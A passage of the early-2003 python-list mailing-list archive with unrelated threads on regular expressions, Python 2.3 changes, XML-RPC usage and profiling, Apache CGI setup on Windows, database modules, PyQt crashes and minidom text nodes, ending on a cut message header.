--On Saturday, January 04, 2003 02:24:19 -0800 J?rgen Cederberg 
<jorgencederberg at hotmail.com> wrote:

> Josh <mlsj at earthlink.net> wrote in message
> news:<Xns92F5826AE2F65jslmAAearthlinknet at 130.133.1.4>...
>> I am trying to strip out all binaries groups from a list of newsgroups.
>> Basically I wanted to write a regular expression that would match all
>> non  binaries groups. But this does not seem to work:
>> rgx=re.compile('[^(binaries)]'). My question is why not? How else would
>> I  write the regex? I am a newbie at Regexes so please be kind:)
>>
>> Josh
>
> Hi Josh,
>
> not exactly an answer, but another link
> (http://db.cs.helsinki.fi/~hendry/python/). It is a playground area,
> where you can enter some input and a regular expression, and then see
> the results. Somewhat faster than using the interactive shell.
>
> Regards
> Jorgen
> --
> http://mail.python.org/mailman/listinfo/python-list
>
>






From martin at v.loewis.de  Fri Jan 24 04:46:04 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 24 Jan 2003 10:46:04 +0100
Subject: difference 2.3 versus 2.2
References: <2259b0e2.0301221425.4eccaab2@posting.google.com> <b0o7nr$t1l$07$1@news.t-online.com> <2259b0e2.0301230800.50ab9858@posting.google.com>
Message-ID: <m3d6mmhodf.fsf@mira.informatik.hu-berlin.de>

mis6 at pitt.edu (Michele Simionato) writes:

> Therefore, if I understand correctly, 'heap type' means 'user-defined type',
> as opposed to built-in typ). 

Roughly, yes. You can define a heap type using the C API if you want,
but they are typically defined through a class statement.

> This restriction (i.e. it is possible to change the __class__ attribute 
> only for heap types) should be reported in "What's new in Python 2.3", 
> since it is a change that breaks old code. I will send a copy of the 
> present mail to python-docs at python.org.

It would be much better if you posted a documentation patch to
sf.net/projects/python. 

I don't think this change is major enough to find mentioning in
"What's new"; I really doubt any real application will be affected by
that. It is listed in the NEWS file, as

- Assignment to __class__ is disallowed if either the old or the new
  class is a statically allocated type object (such as defined by an
  extension module).  This prevents anomalies like 2.__class__ = bool.

Regards,
Martin




From jolsen at mailme.dk  Fri Jan 24 09:43:39 2003
From: jolsen at mailme.dk (Jesper Olsen)
Date: 24 Jan 2003 06:43:39 -0800
Subject: Using Java from Python
References: <mailman.1043375742.26909.python-list@python.org> <3e30f793$0$128$e4fe514c@dreader5.news.xs4all.nl>
Message-ID: <cf0ad9fb.0301240643.613aeff9@posting.google.com>

Ype Kingma <ykingma at accessforall.nl> wrote in message news:<3e30f793$0$128$e4fe514c at dreader5.news.xs4all.nl>...
> Mongryong wrote:
> 
> > Is it possible to write a Python 'c' module that executes Java code? Or,
> 
> Yes.
> 
> > is there a way to integrate Jython with Python without having to spawn a
> > new process?
> 
> You might be interested in the java python extension:
> http://sourceforge.net/projects/jpe
> 
So have you used this project, and are you recommending it?

Something like this would be extremely useful, but the last update to
jpe seems to be from 2001. I'd say it's dead.

Cheers
Jesper



From fcoldwat at tampabay.rr.com  Mon Jan  6 19:02:40 2003
From: fcoldwat at tampabay.rr.com (fcoldwat at tampabay.rr.com)
Date: Tue, 07 Jan 2003 00:02:40 GMT
Subject: Shane say's Thanks Too
Message-ID: <AOoS9.28256$Sa3.929432@twister.tampabay.rr.com>

Thank's to Justin Shaw, Michele Simionato & Daniel Yoo...





From gerhard.haering at gmx.de  Tue Jan 28 12:34:49 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 28 Jan 2003 17:34:49 GMT
Subject: Simple Web Proxy
References: <memo.20030128171641.1600A@a.radioscape.com>
Message-ID: <slrnb3dg1h.52a.gerhard.haering@lilith.my-fqdn.de>

Mark Charsley wrote:
> I'd like a simple web-proxy that 
> - intercepts each HTML page,  
> - passes it through a list of python functions which can, for instance, 
> search for and destroy for links to images on doubleclick.net, 
> particularly offensive Javascript functions,  etc.
> - pass the modified page back to the client.

Search http://freshmeat.net/ There are at least two filtering HTTP
proxies written in Python which you can find there.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From skip at pobox.com  Mon Jan 13 12:44:49 2003
From: skip at pobox.com (Skip Montanaro)
Date: Mon, 13 Jan 2003 11:44:49 -0600
Subject: Why doesn't JUMP_IF_FALSE do POP_TOP ?
In-Reply-To: <15906.62534.922626.157623@montanaro.dyndns.org>
References: <mailman.1042403841.24976.python-list@python.org>
        <7x8yxqxeav.fsf@ruckus.brouhaha.com>
        <c76ff6fc.0301130206.ca90ba2@posting.google.com>
        <xpudnbPQNdfpfb-jXTWcpw@comcast.com>
        <avuriu$e55$0@216.39.172.122>
        <15906.62534.922626.157623@montanaro.dyndns.org>
Message-ID: <15906.64273.613057.774455@montanaro.dyndns.org>

>>>>> "Skip" == Skip Montanaro <skip at pobox.com> writes:

    Bengt> I.e., it should be simple to instrument ceval.c to extern link to
    Bengt> a temp module with an integer array indexed by byte code value to
    Bengt> increment for statistics.  

    Skip> You can already do this.  Simply define DYNAMIC_EXECUTION_PROFILES
    Skip> (and optionally DXPAIRS) when building Python.  

Perhaps I should also mention that I wrote an XML-RPC server awhile ago to
which people could submit instruction profiles as produced by the above
dynamic profiling macros.  I don't currently have it running, but if people
would like to start submitting profiles I'd be happy to start it up again.
Here's the output of the server's usage() method:

    The DXPServer allows people to store and retrieve dynamic
    instruction frequency information for Python programs.  It is
    hoped that by offering this service to the Python community a
    large database of instruction count frequencies can be accumulated
    for different versions of Python.

    The DXPserver currently implements just a few methods:

        add_dx_info(appname, email, pyversion, dxlist)
            Register the dynamic instruction frequencies for a single
            application run by a particular email address, using a
            particular version of Python.  There is no real useful
            return value unless an error is detected.

            appname: A non-empty string that identifies the
            application that generated this instruction profile.

            email: A valid email address (while this is logged, it
            will only be used to contact the owner of a misbehaving
            client).

            pyversion: A three-element tuple as returned by
            sys.version_info[:3].  People running pre-2.0 versions of
            Python will have to synthesize this from the first word of
            sys.version.  All three elements must be ints.

            dxlist: A run-length encoded version of the list returned
            by sys.getdxp().  You will only have this function
            available if you compiled your Python interpreter with the
            DYNAMIC_EXECUTION_PROFILE macro defined.  You can choose
            to define DXPAIRS as well or not.  This method accepts
            either type of getdxp() output.  The run-length encoding
            is described below.

        get_dx_info(pyversion)

            Return the instruction profiling information that has been
            accumulated for version pyversion.  The format for
            pyversion is the same as in add_dx_info.  The return value
            is a dictionary with two keys: 'counts' and 'pairs'.  The
            value associated with the 'counts' key is a run-length
            encoded list of opcode frequencies as would be returned by
            rle(sys.getdxp()) without DXPAIRS defined.  The value
            associated with the 'pairs' key is a list of opcode
            frequencies as would be returned by rle(sys.getdxp()) with
            DXPAIRS defined.  If there is no information recorded for
            one category or another appropriate zero-filled lists are
            returned.

        versions()
            Return the version numbers for which this server has some
            instruction counts.

        usage()
            Return detailed usage information.

        synopsis()
            Return brief usage information.

    The input dxlist and the output returned by get_dx_info must be
    run-length encoded.  The algorithm is straightforward:

        def rle(l):
            newl = []
            lastel = None
            count = 0
            for elt in l:
                if elt == lastel:
                    count = count + 1
                    continue
                elif lastel is not None:
                    if isinstance(lastel, types.ListType):
                        lastel = rle(lastel)
                    newl.append([lastel, count])
                lastel = elt
                count = 1
            if isinstance(lastel, types.ListType):
                lastel = rle(lastel)
            newl.append([lastel, count])
            return newl

    Use the following to run-length encode sys.getdxp() output:

        dxinfo = rle(sys.getdxp())

    Decoding is similar:

        def rld(l):
            newl = []
            for elt, count in l:
                if isinstance(elt, types.ListType):
                    elt = rld(elt)
                newl.extend([elt]*count)
            return newl

        dxinfo = rld(rpcserver.get_dx_info((1,5,2)))

    Both rle() and rld() are included in the dxpserver.py module/script
    available from <http://www.musi-cal.com/~skip/python/>.

    You can use the atexit module to automatically transmit instruction
    counts to the server at normal program termination:

        def send_instruction_counts(appname, email):
            if not hasattr(sys, 'getdxp'):
                return
            dxpserver = xmlrpclib.Server('http://manatee.mojam.com:7304')
            dxpserver.add_dx_info(appname, email, sys.version_info[:3],
                                  rle(sys.getdxp()))

        import atexit
        atexit.register(send_instruction_counts, 'myapp', 'me at some.where')

Skip




From dpawson at nearlynildram.co.uk  Wed Jan 15 02:01:42 2003
From: dpawson at nearlynildram.co.uk (Dave Pawson)
Date: 15 Jan 2003 07:01:42 GMT
Subject: date time arithmatic
References: <Xns92FA7A697169ADavePnearlydpawson@195.149.20.147> <7h3znq3rduv.fsf@pc150.maths.bris.ac.uk>
Message-ID: <Xns9304477F3F734DavePnearlydpawson@195.149.20.147>

Michael Hudson <mwh at python.net> wrote in 
news:7h3znq3rduv.fsf at pc150.maths.bris.ac.uk:

> Dave Pawson <dpawson at nearlynildram.co.uk> writes:
> 
>> Put simply I would like to determine the number of 
>> days between now() and some date in the past.
>> 
>> E.g. now() - someCall(2002,9,2,0,0) = 126 days
>> 
>> This seems possible in 2.3 alpha, but not in 2.2 (readily).
>> 
>> Looking for pointers please?
> 
> You could steal the python datetime module from the Python CVS
> sandbox.
> 

Thanks. I'll take a look.

regards DaveP



From johnroth at ameritech.net  Wed Jan  1 18:11:32 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 18:11:32 -0500
Subject: PEP 303: Extend divmod() for Multiple Divisors
References: <ausiq8$egi$1@news.island.liu.se> <v15om11f5lfr50@news.supernews.com> <7xwulpuf70.fsf@ruckus.brouhaha.com>
Message-ID: <v16tckd4k4p866@news.supernews.com>

"Paul Rubin" <phr-n2002b at NOSPAMnightsong.com> wrote in message
news:7xwulpuf70.fsf at ruckus.brouhaha.com...
> "John Roth" <johnroth at ameritech.net> writes:
> > I want to object to this one strongly, on the basis that it is
> > a special case of something that, if it's useful at all, should
> > be generalized to include all of the operators.
>
> Not a bad idea.  There's no reason for operator.plus(3,4,5) to
> throw an exception instead of returning 12.
>
> > Erik Mac Francis' comment about the APL encode operator
> > sounds about right, although I'd much prefer that thinking
> > go in the direction of functional languages.
>
> > As far as the nuts and bolts go, the operand should be
> > a sequence, not simply strung out as operands. There are
> > several reasons for this, but the major one is consistency:
> > if the result is a list, then the input operand should also be
> > a list.
>
> That makes no sense.  Imagine a function that returns the
> factorization of a number, e.g. the factors of 30 are 2, 3, and 5.
> It's natural and obvious for factor(30) to return the list (3,4,5).
> Why on earth should its argument be a list?

Ah, but that's a different situation. For a factorization, you've
got a single number going in. For the suggested usage, you've
got a 1 to 1 correspondance between the input numbers and
the output numbers: each divisor produces one element of the
output list (with a possible final remainder.)

I wouldn't expect a factor function to have a list input.

John Roth
>





From stevenn at outerthought.org  Tue Jan 21 04:43:54 2003
From: stevenn at outerthought.org (Steven Noels)
Date: Tue, 21 Jan 2003 10:43:54 +0100
Subject: trying to wrap xmlrpclib into classes
Message-ID: <3E2D165A.6030508@outerthought.org>

Hi there,

<warning>These are my first steps into Python programming, pardon my 
cluelessness</warning>

I'm trying to create a little application which uses xmlrpclib to 
retrieve information from some server. After some Googling, I succeeded 
in accessing my server and I'm pretty confident I will get where I want 
with conventional procedural/functional programming. Since part of my 
venture in learning Python is to use OO, I start from scratch this 
morning, trying to wrap stuff into objects. And I'm failing fast :(

This is where I got so far:

import xmlrpclib, time, strptime
from UrllibTransport import UrllibTransport

class Server:
     def __init__(self, URL):
         self.server_url = URL
         self.server = xmlrpclib.Server(self.server_url, 
transport=UrllibTransport())

class Page:
     def __init__(self, name, URL):
         self.name = name
         self.server = Server(URL)
     def getInfo(self):
         self.result = self.server.wiki.getPageInfo(name)

page = Page('Main', 'http://wiki.cocoondev.org/RPC2/')
pageinfo = page.getInfo()

I have a Server class, which should represent an XMLRPC 'connection', 
and I also defined a Page class, which should represent a logical 
structure available across that connection.

(API documented here: 
http://www.ecyrd.com/JSPWiki/Wiki.jsp?page=WikiRPCInterface)

Instantiating my page goes well, but trying to access a method like 
getInfo, which should invoke server.wiki.getPageInfo(name) through my 
server object does not work, for obvious reasons:

     self.result = self.server.wiki.getPageInfo(name)
AttributeError: Server instance has no attribute 'wiki'

'Somehow', I want this Page object to forward the method invocation to 
my Server object, but I'm stuck on the _how_. Should I let my Server 
class inherit from the xmlrpclib.Server class? My Page class too?

I will try into that direction, but any tips and pointers would be 
appreciated. Also, sorry if this isn't the clueless newbie user's list.

Cheers,

</Steven>
-- 
Steven Noels                            http://outerthought.org/
Outerthought - Open Source, Java & XML Competence Support Center
Read my weblog at            http://blogs.cocoondev.org/stevenn/
stevenn at outerthought.org                stevenn at apache.org





From exarkun at intarweb.us  Wed Jan 22 11:59:44 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 22 Jan 2003 11:59:44 -0500
Subject: dynamic variables; globals
In-Reply-To: <3E2E9902.60EBB96C@ncsa.uiuc.edu>
References: <3E2E8A95.FE285970@ncsa.uiuc.edu> <xpadnc5RPK65ErOjXTWc3g@comcast.com> <3E2E9902.60EBB96C@ncsa.uiuc.edu>
Message-ID: <20030122165944.GB6774@meson.dyndns.org>

On Wed, Jan 22, 2003 at 07:13:38AM -0600, Randy Heiland wrote:
> [snip]
> 
> Thanks.  And if I want to use the RExec module instead?

  You almost certainly do not.  It is not secure, and in all likelyhood it
will be removed from the stdlib in one of the next few releases.

  Jp
-- 
 12:00am up 37 days, 9:48, 2 users, load average: 0.36, 0.32, 0.27
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030122/99ead8ca/attachment.sig>

From jepler at unpythonic.net  Tue Jan 28 09:23:20 2003
From: jepler at unpythonic.net (Jeff Epler)
Date: Tue, 28 Jan 2003 08:23:20 -0600
Subject: python weblog apps?
In-Reply-To: <20030128000125.A21343@psychofx.com>
References: <20030128000125.A21343@psychofx.com>
Message-ID: <20030128142320.GN16079@unpythonic.net>

I've recently given "vellum" a try.  However, I've never tried any blog
before so I have no idea how it compares.  It uses a cool technique to
only generate pages when they're changed, so it needs CGI access but is
very light on resources.

    http://www.kryogenix.org/code/vellum/

Jeff




From dfan at dfan.org  Sun Jan 12 19:36:42 2003
From: dfan at dfan.org (Dan Schmidt)
Date: 12 Jan 2003 19:36:42 -0500
Subject: Is it advisable to replace 'self' with '_' or 'I' or something shorter?
References: <f57664b9.0301110959.5b1439da@posting.google.com>
Message-ID: <uhecdj36t.fsf@dfan.org>

jbperez808 at yahoo.com (Jonathan P.) writes:

| I agree with the fact that explicit use of self is good
| for code readability, however it tends to make code lines
| too long.  Since 'self' is just a convention, I wonder if
| people out there have tried replacing it with a one-character
| equivalent without encountering any problems.
| 
| I was thinking of using '_' ('I' is a distant second
| choice) instead of self.  Comments?

I used to use _, but I decided to be a good citizen and use self these
days.  My main problem with self is not that it takes more time to
type but that it looks like just another word when I'm scanning code,
which distracts me from the 'real' variables.  So I modifed my emacs
python-mode so that self is displayed in a different color, and I can
deal with it a lot better now.

Dan

-- 
http://www.dfan.org



From gerhard.haering at opus-gmbh.net  Wed Jan 22 11:09:08 2003
From: gerhard.haering at opus-gmbh.net (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 22 Jan 2003 16:09:08 GMT
Subject: MS SQL Server
References: <b0meuj$inn$05$1@news.t-online.com>
Message-ID: <slrnb2tgg8.1n4.gerhard.haering@haering.opus-gmbh.net>

Axel Grune <NineOfSix at gmx.de> wrote:
> Hi, I'm wondering if Microsoft's SQL Server can be accessed using Python?
> I've found the both ODBC moduls on www.python.org, 'mxODBC' and 'ODBC
> interface'. Do they work reliable? What's about the Oracle moduls?

Well, the Oracle modules don't work well with MS SQL Server ;-) But other than
that, I haven't encountered any problems with DCOracle or DCOracle2 so far.

The ODBC module from python.org is UNSUPPORTED (read the page). If it works,
good. Otherwise you can fix it yourself or consider yourself screwed.

Apart from ODBC and mxODBC (which is reportedly high quality), there's the
possibility to use ADODBAPI.

As always,
http://dmoz.org/Computers/Programming/Languages/Python/Modules/Databases_and_Persistence/
is useful. It lists

ADODBAPI - A DB-API 2.0 module for accessing data sources via Micrsosoft ADO.
[Open Source, LGPL]

with the URL http://adodbapi.sourceforge.net/

which requires the win32 extensions (ADO is a COM library).

> --
> Gnade bring uns nicht weiter;-)
> [approx. translation: Mercy doesn't help us.]

You might consider moving to Texas, then ;-)

Gerhard
-- 
Gerhard H?ring
OPUS GmbH M?nchen
Tel.: +49 89 - 889 49 7 - 32
http://www.opus-gmbh.net/



From ken at perfect-image.com  Wed Jan 22 10:35:50 2003
From: ken at perfect-image.com (Ken Godee)
Date: Wed, 22 Jan 2003 08:35:50 -0700
Subject: PyQT-application crash when shutting down
In-Reply-To: <slrnb2qtlb.45c.hat@se-46.wpa.wtb.tue.nl>
Message-ID: <3E2E57E4.8249.5E2E2C@localhost>

> I am writing an animation application using PyQt at a Redhat 7.2 machine
> (RPM: PyQt-devel-3.1-2).
> The application seems to be working fine, but when I press the 'Quit'
> button (which sends a 'clicked' signal to the 'quit' slot of the main
> application), I get a "segmentation fault".
> Below is a stripped-down application that demonstrates the problem (at
> least at my machine):
> 
> Albert
> -- 

Albert,
I'm also on the PyQt list and I think you would get more help
posting this question on that list.
The only suggestion I have is that I would compile and install
the current PyQt/sip snapshot. There have been many changes
since 3.1, it's now at 3.5.





From exarkun at intarweb.us  Fri Jan 24 22:38:36 2003
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 24 Jan 2003 22:38:36 -0500
Subject: Sandboxing [Was Re: killing thread ?]
In-Reply-To: <A4Odnf8uD-PKn6-jXTWc2Q@comcast.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <3E315C41.35348508@engcorp.com> <7xvg0ebl5j.fsf@ruckus.brouhaha.com> <20030124174424.GA15614@meson.dyndns.org> <mailman.1043432149.5693.python-list@python.org> <JpGdnVkyFJjvUayjXTWcqA@comcast.com> <7xn0lq3v0b.fsf@ruckus.brouhaha.com> <A4Odnf8uD-PKn6-jXTWc2Q@comcast.com>
Message-ID: <20030125033836.GC17414@meson.dyndns.org>

On Fri, Jan 24, 2003 at 10:11:08PM -0500, Terry Reedy wrote:
> 
> "Paul Rubin" <phr-n2003b at NOSPAMnightsong.com> wrote in message
> news:7xn0lq3v0b.fsf at ruckus.brouhaha.com...
> > Recursion depth is already limited.
> 
> I was thinking of something more limited, like
> sys.setrecursionlimit(10), instead of the current default of 1000 (on
> my box).
> 

import time
start = time.time()
try:
    (lambda x: x(x))(lambda x: x(x))
except RuntimeError:
    print 'Took %0.2f seconds' % (time.time() - start)

import sys
sys.setrecursionlimit(10)
start = time.time()
try:
    (lambda x: x(x))(lambda x: x(x))
except RuntimeError:
    print 'Took %0.2f seconds' % (time.time() - start)
    

  On my machine, at least, the interval is so short that it is more or less
random which of the two blocks takes longer to execute, with times varying
from a hundredth of a second to four times that.  On hardware that hasn't
been obsolete since the last millenium, it's probably even less noticable.

  And who knows, your user might want to execute code for processing a
reasonably sized tree.  Are you really going to be so mean, and force them
to write an iterative version of the algorithm? :)

  Jp

-- 
"There is no reason for any individual to have a computer in their
home."
                -- Ken Olson, President of DEC, World Future Society
                   Convention, 1977
-- 
 up 40 days, 7:49, 7 users, load average: 0.55, 0.53, 0.50
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 196 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20030124/5b1fc152/attachment.sig>

From hwlgw at hotmail.com  Wed Jan 15 13:13:14 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 15 Jan 2003 10:13:14 -0800
Subject: Install Python in C:\usr\bin
Message-ID: <cb035744.0301151013.4f5c0327@posting.google.com>

++++++++++++++++++++++++++++++++
CGI development on Windows HOWTO
++++++++++++++++++++++++++++++++

So you want to develop CGI scripts at home on your Windows laptop? 
And you want to be able to just copy them to the cgi-bin directory on
your local ISP every now and then, without having to change lines of
code?
Well it is not that easy.  Actually it *is* easy but it takes a while
until you have everything configured just right.  To save you time and
as a reminder to myself (in case I need a new computer): I now have an
easy development process, here it is:



Get a CGI server on your laptop
===============================

Install Apache on your laptop, download the windows installer from
apache.org.  Find the "Configure Apache" link in your Start Menu
(below Apache Group), click on it.  You are in Notepad now; replace
the line

    Options Indexes FollowSymLinks MultiViews

with

    Options Indexes FollowSymLinks MultiViews ExecCGI

I have no idea why they do not give you a CGI enabled web server by
default but that is just the way it is with these *nix people.  It
doesn't matter how much time you lose because of things like this,
don't argue, be happy they give you a free web server :)



The directories
===============

Your CGI scripts go into:
-------------------------
C:\Program Files\Apache Group\Apache\cgi-bin

Rename python files that are CGI scripts:
you can use ``ren *.py *.cgi`` for those.
Keep the .py extension on modules you import.

For reasons explained later, your CGI scripts should all start with
the line
#!/usr/bin/python


Your HTML files go into:
------------------------
C:\Program Files\Apache Group\Apache\htdocs

In your HTML files you can get to your CGI script with:
``http://localhost/cgi-bin/yourscriptname.cgi`` in a FORM tag.
Note that this is a line in the HTML file you have to change before
you copy the HTML file to your local ISP, change it to:
``http://yourisp.com/~yourusername/cgi-bin/yourscriptname.cgi``
But after a while you will get tired of it and stop mixing HTML files
and CGI scripts, and generate all HTML you need with your CGI scripts.
 Inside your CGI scripts you do not need to specify
http://yourisp.com/~yourusername/cgi-bin/, but only the relative path
(from cgi-bin) to whatever you want to put in generated HTML tags. 
This is why you want your CGI server on your laptop to be very similar
to a real world web server at your CGI.  You are simulating your ISPs'
installation at home.  Which brings us to:



Install Python in C:\usr\bin
============================
I assume you have Python already installed in C:\Python22 and you do
not want to change it.
During re-install (of the latest Python version?), choose C:\usr\bin
as install directoy and when you see the Advanced button, click on it
and do Non-Admin install and choose *not* shortcuts and *no* .py
exe-extensions unless you want this new python version to replace your
existing python installation.



Calling CGI scrips directly with IE
===================================
Open your Internet Explorer and type in url:
http://localhost/cgi-bin/yourscriptname.cgi


Copying files to the cgi-bin directory at your local ISP
========================================================
Get scp.exe from GNU.org
Now:
C:\Program Files\Apache Group\Apache\cgi-bin\> scp yourfile.cgi
yourusername at yourisp.com:~/cgi-bin
Or use another copying method to get them there.

Now your CGI scripts are available via internet at
http://yourisp.com/~yourusername/cgi-bin/yourscriptname.cgi

This assumes that your ISP has python installed in /usr/bin.  This is
where for example sourceforge has python installed.  If your ISP does
not provide CGI or python (that would give "Internal Server Error"
messages), get another ISP :)



Crazy directory structures
--------------------------

Perhaps your ISP has python in /usr/local/bin/ or another weird place.
How to find out?
Get ssh.exe from GNU.org
Now:
C:\Program Files\Apache Group\Apache\cgi-bin\> ssh -l yourusername
machinename.yourisp.com
Call your ISP if you don't know a machine name you have access to.  Or
use any other way to get shell access, and type
``which python`` in the console box on their *nix system, this will
tell you where python lives.  Replace all "/usr/bin" stuff in this
HOWTO with whatever it returns.
Also for the location of cgi-bin of even your home they sometimes have
weird directory tree structures.

hth



From akjmicro at yahoo.com  Sat Jan 25 21:23:31 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 20:23:31 -0600
Subject: More usenet usage statistics, by programming language
References: <b0s7hn$fum$1@bob.news.rcn.net> <3E332BDF.25DE97C7@lvcm.com> <b0vfiq$2gi$0@216.39.172.122>
Message-ID: <b0vgq0$itg$1@bob.news.rcn.net>

In message <b0vfiq$2gi$0 at 216.39.172.122>, Bengt Richter wrote:

> Actually, I think a better measure might be counting distinct posters with a
> minimum of two posts. This would indicate interest (e.g., dialog or more
> than
> one question) more strongly than a single post, IWT. A table including both
> would be interesting. I agree on time interval vs flat latest count also.
> I guess you might expect spikes around significant announcements (good or
> bad)
> which could skew results from different languages.
> 
> Another interesting measure might be the aggregate volume of unquoted text
> vs total,
> and those numbers divided by number of unique posters, for average level of
> interest.
> 
> Regards,
> Bengt Richter

I already correct the script to do flat time vs. posts.

See the results for december in the 'December 2002 comp.lang.* stats ' thread.

Your other ideas are interesting...thanks....

Best,
Aaron.




From kowald at molgen.mpg.de  Fri Jan 17 11:23:00 2003
From: kowald at molgen.mpg.de (Axel Kowald)
Date: Fri, 17 Jan 2003 17:23:00 +0100
Subject: pyd == dll, or how to create a c-extension with visual studio
Message-ID: <3E282DE4.2000608@molgen.mpg.de>

Hi,

if I want to create a c-extension for python with visual studio under 
windows, do I compile my source code into a dll and then simply rename 
the extension to pyd ??  Or is a pyd file different from a dll ?
If someone has a simple Visual-Studio project file for creating a python 
c-extension, I would be grateful for a copy.

Many thanks,

              Axel Kowald




From backwardthinker at juno.com  Thu Jan 23 10:35:25 2003
From: backwardthinker at juno.com (Daniel)
Date: 23 Jan 2003 07:35:25 -0800
Subject: (test?return_true:return_false)
Message-ID: <1d4cf4c3.0301230735.489c525f@posting.google.com>

Is there a python equivalent to the (test?return_true:return_false)
function?  It's present in a number of other languages, so I was
hoping there would be something similar.  If test evaluates to true,
then the 1st value is returned.  If false... the 2nd value.

For a dumb example, something to the effect of: print 'Search complete
(%d match%s found)'%(matches,(matches==1?'':'es'))

Thanks,
Daniel



From martin at v.loewis.de  Fri Jan 24 21:32:12 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 25 Jan 2003 03:32:12 +0100
Subject: Looking for CORBA examples, or something better
In-Reply-To: <mailman.1043449375.5710.python-list@python.org>
References: <20030124203238.GA2206@pedos.es> <20030124214313.GE15790@meson.dyndns.org> <mailman.1043449375.5710.python-list@python.org>
Message-ID: <b0ssva$mqt$00$2@news.t-online.com>

Grzegorz Adam Hankiewicz wrote:
> Yes, something like that. Michael Pyle already suggested privately
> omniORB (http://omniorb.sourceforge.net/). Hmmm... funny weekend
> ahead.

Use omniORB if you need a high-performance library, and good 
interoperability with other implementations. For ease of use and ease of 
deployment, use Fnorb (fnorb.sf.net).

Regards,
Martin





From inyeol.lee at siimage.com  Mon Jan 27 13:41:12 2003
From: inyeol.lee at siimage.com (Inyeol Lee)
Date: Mon, 27 Jan 2003 10:41:12 -0800
Subject: patch for string.findall (why not, theres an re.findall)
In-Reply-To: <3e0037f4.0301261706.5df8c230@posting.google.com>
References: <3e0037f4.0301261706.5df8c230@posting.google.com>
Message-ID: <20030127184112.GA20058@siliconimage.com>

On Sun, Jan 26, 2003 at 05:06:09PM -0800, Hunter Peress wrote:
> this finds all indices of a given substring in a string.
> and yes, i already checked pydoc2.3 string
> 
> Heres code+unittests.
> 
> Im running this by the group for any extra input before i submit it to sf
[...]

If you need an index, use re.finditer() instead of findall.

Inyeol...




From tjreedy at udel.edu  Sat Jan 25 11:50:34 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 25 Jan 2003 11:50:34 -0500
Subject: Reciprocal link request
References: <mailman.1043501287.15704.python-list@python.org>
Message-ID: <ZhKdnZhMM9rSX6-jXTWcqg@comcast.com>

"John" <John at website-hosting-web.com> wrote in message
news:mailman.1043501287.15704.python-list at python.org...
> Dear webmaster,
>
> I am contacting you to kindly request a reciprocal link from your
website.
[clip]

I presume the following header line indicates that this was gated from
the mailing list:
Message-ID: <mailman.1043501287.15704.python-list at python.org>

Do the following mean that this was *almost* classified as spam ?

X-Spam-Status: No, hits=4.1 required=5.0
tests=SPAM_PHRASE_03_05,SUPERLONG_LINE,TO_LOCALPART_EQ_REAL
X-Spam-Level: ****

Are things being filtered at the gateway?

Terry J. Reedy





From krahnj at acm.org  Fri Jan 10 15:03:42 2003
From: krahnj at acm.org (John W. Krahn)
Date: Fri, 10 Jan 2003 20:03:42 GMT
Subject: These are discouraging stats to Perlistas & Pythonistas...
References: <776e0325.0301070721.7405a312@posting.google.com> <S5GS9.5881$qU5.4697503@newssrv26.news.prodigy.com> <avfkpp$a7n$1@nyheter.chalmers.se> <23891c90.0301100451.310246d5@posting.google.com>
Message-ID: <3E1F2683.F67B1811@acm.org>

Paul Boddie wrote:
> 
> jacob at cd.chalmers.se (Jacob Hallen) wrote in message news:<avfkpp$a7n$1 at nyheter.chalmers.se>...
> >
> > An interesting thought is wether the 55 Python programmers will produce
> > more useful applications than the 2037 VB programmers.
> 
> It gets even more interesting if you take monkeys and typewriters into
> consideration.

I thought VB implied monkeys and typewriters?


John
-- 
use Perl;
program
fulfillment



From hawkeye.parker at autodesk.com  Fri Jan 17 12:29:10 2003
From: hawkeye.parker at autodesk.com (hawkeye.parker at autodesk.com)
Date: Fri, 17 Jan 2003 09:29:10 -0800
Subject: xml.dom.minidom.parse() splitting text nodes?-THANKS
Message-ID: <F311A35BB7D3F2458DB2C9DDE189161AC414B6@msgpetmb2.amer.ads.autodesk.com>

thanks martin and gilles, exactly the problem!  of course, i spent the afternoon yesterday hacking my own normalizer . . . i suspect the existing one is a bit more ~robust~ *grin*

> -----Original Message-----
> From: martin at v.loewis.de [mailto:martin at v.loewis.de]
> Sent: Friday, January 17, 2003 1:09 AM
> To: python-list at python.org
> Subject: Re: xml.dom.minidom.parse() splitting text nodes?
> 
> 
> hawkeye.parker at autodesk.com writes:
> 
> > has anyone else run across this issue?  can you explain it?
> 
> The text nodes are created as the underlying parser (Expat) reports
> chunks of text data.
> 
> Those data are chunked for various reasons:
> - if you have character references or entity references, everything
>   up to the reference will be reported as a chunk, then the referenced
>   data will be reported as a chunk, and everything after it 
> will be reported
>   as a chunk.
> - Expat buffers the input in blocks. Everytime the block is exhausted,
>   its data is reported as a chunk.
> 
> You are likely seeing the second case.
> 
> This is, strictly speaking, no bug: the DOM reader is entitled to
> represent the document in such a way. The minidom implementation in
> PyXML will, however, avoid splitting the text nodes if it can.
> 
> In general, this issue is what lead to the introduction of the
> .normalize method in the DOM; this merges adjacent text nodes
> throughout the tree.
> 
> Regards,
> Martin
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list
> 




From ods at strana.ru  Wed Jan 15 12:34:54 2003
From: ods at strana.ru (Denis S. Otkidach)
